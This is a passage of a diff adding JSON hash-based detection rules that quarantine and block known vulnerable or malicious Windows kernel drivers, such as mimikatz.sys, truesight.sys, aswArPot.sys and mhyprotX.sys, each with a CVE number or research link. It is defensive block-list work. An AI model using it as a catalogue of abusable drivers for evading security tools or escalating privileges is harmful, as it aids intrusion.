+  "comment": "Vulnerable Kernel Driver (aka sandra.sys) [https://www.loldrivers.io/drivers/bc5e020a-ecff-43c8-b57b-ee17b5f65b21/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57c1f843-528d-5703-ba03-34b564d84073",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818013Z",
+  "creation_date": "2026-03-23T11:45:30.818015Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818020Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "125e4475a5437634cab529da9ea2ef0f4f65f89fb25a06349d731f283c27d9fe",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57d06bbc-4195-5b6c-9e90-9615a68c7d13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813220Z",
+  "creation_date": "2026-03-23T11:45:31.813223Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0d3af81c9f26ffce51b6e32a099327b357b1f16314e27e8c27a814d0d209cc3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57d8a483-9dfc-5c3a-ba16-4c5261b85f25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821744Z",
+  "creation_date": "2026-03-23T11:45:31.821747Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "65b4d38b9cf698692870ce57820d7fc2e2560722e27b4cc2f24da9e1d1d247d3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57e052da-4a12-5cf3-bfe1-231486a223ab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150426Z",
+  "creation_date": "2026-03-23T11:45:31.150428Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150434Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fb2513c4a98e8102359a7e97453e0ab8518fad628fba10669d43fdda64acbf9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57eade01-543d-5b23-970c-e0a47db8166c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488310Z",
+  "creation_date": "2026-03-23T11:45:31.488312Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488317Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e9e002513b5263e1f8918ed433280a8af2c585c6ea63326f07d08fe355b5eda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57fb1824-3c0f-5c2d-b6e1-6d8437480fe7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462114Z",
+  "creation_date": "2026-03-23T11:45:30.462117Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b7956e31c2fcc0a84bcedf30e5f8115f4e74eed58916253a0c05c8be47283c57",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "57fc572c-fe03-559e-9268-fe72f2bc5057",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983815Z",
+  "creation_date": "2026-03-23T11:45:29.983817Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983822Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25a0854ef48a4dfbc7f04e94d2b11757e3613b241d39d46a19cb389ce42887e4",
+  "comment": "Vulnerable Kernel Driver (aka GLCKIO2.sys) [https://www.loldrivers.io/drivers/52ded752-2708-499e-8f37-98e4a9adc23c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5801a5bc-70bd-568c-a495-f291253a4cec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622157Z",
+  "creation_date": "2026-03-23T11:45:29.622159Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622164Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7fd788358585e0b863328475898bb4400ed8d478466d1b7f5cc0252671456cc8",
+  "comment": "NamCo vulnerable driver (aka smep_namco.sys) [https://securelist.com/elevation-of-privileges-in-namco-driver/83707/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "580cc271-8a1f-55de-a2c7-7fac586ff885",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470756Z",
+  "creation_date": "2026-03-23T11:45:30.470759Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470767Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89e579ccbbd834bdd1d5b394843b6110813849000d9116489f14c146cbe66811",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58229230-e4ba-5196-a4be-3b710d4f7f20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816526Z",
+  "creation_date": "2026-03-23T11:45:30.816528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816534Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b508921632475b1aadf6194b2f3feea72959b60675dcb44bbc3f8e363f8485ea",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "585874ee-bf20-525b-89a0-8bbb4e2909f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604051Z",
+  "creation_date": "2026-03-23T11:45:29.604054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "74f9975737dd078c75048bb01549e7678eb61c065d1f50294b80caeb65cbd65e",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58660078-0ae2-56ec-8fbf-8a2190b749bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830843Z",
+  "creation_date": "2026-03-23T11:45:30.830845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e898abc1a79b301909f5ccf62260a359aa3822b5754b6ab2f1becfda4a4bee12",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58667231-93f3-57fe-9a94-7f8c6434d904",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829008Z",
+  "creation_date": "2026-03-23T11:45:30.829010Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6fb583cf195231e5dc14e149541f525b1df8e2c0ee73d7b34d006dd2300b56a4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5867df2a-5d7e-5906-b051-bef1bef153dd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159366Z",
+  "creation_date": "2026-03-23T11:45:31.159369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159374Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dfd70d4bb19abf412ac263f80350b604b1ca22bc0e48dd4c29ec9e9808335c3f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58686c4f-caa8-5c43-985b-0bee6f686930",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459077Z",
+  "creation_date": "2026-03-23T11:45:30.459080Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459088Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2fa78c2988f9580b0c18822b117d065fb419f9c476f4cfa43925ba6cd2dffac3",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5871d2ac-e8c4-53fe-97dd-cf961d904783",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971985Z",
+  "creation_date": "2026-03-23T11:45:29.971987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971993Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2d2c7ee9547738a8a676ab785c151e8b48ed40fe7cf6174650814c7f5f58513b",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "587e6439-2826-5c81-b5b2-129d5956020b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612180Z",
+  "creation_date": "2026-03-23T11:45:29.612182Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612188Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39937d239220c1b779d7d55613de2c0a48bd6e12e0214da4c65992b96cf591df",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "588d01d8-5a4c-5bd3-b548-99edb5697539",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.606777Z",
+  "creation_date": "2026-03-23T11:45:29.606779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.606785Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea765eb8845fc90215975814f8da48da787f1a1449d58af0b17cb58d2af5c08e",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58931eaa-aeb4-54b1-a367-dea085972f97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612385Z",
+  "creation_date": "2026-03-23T11:45:29.612387Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612393Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "55a1535e173c998fbbc978009b02d36ca0c737340d84ac2a8da73dfc2f450ef9",
+  "comment": "ASUS WinFlash vulnerable driver (aka ATSZIO.sys and ATSZIO64.sys) [https://github.com/Chigusa0w0/AsusDriversPrivEscala/blob/master/ATSZIO.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "589374ed-96af-54bd-bf66-46b49ad60711",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970002Z",
+  "creation_date": "2026-03-23T11:45:29.970004Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970009Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e51062d4249945e77c7d3fdecc9797ffc38017465c8068a5f1296bf85ae558c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58ae260e-9338-5f0d-a907-7350e54ee896",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969400Z",
+  "creation_date": "2026-03-23T11:45:29.969402Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969407Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5cd7378c57afa9260976879b58b32433c0e2d52fe0cebe06e647e1165c93f4a8",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58c0fcfd-c5b4-5eb1-9d20-d96187f25676",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145621Z",
+  "creation_date": "2026-03-23T11:45:32.145623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145629Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e99d454a56845bb0e622cfd68b895b7868ef7e8a43424e5b7b803f5a2d25eca",
+  "comment": "Vulnerable Kernel Driver (aka psmounterex.sys) [https://www.loldrivers.io/drivers/0f64bf7a-2ef2-45ea-af7d-4e7c87d98777/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "58c32a46-5fd9-5664-b82b-0e9da31d45c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
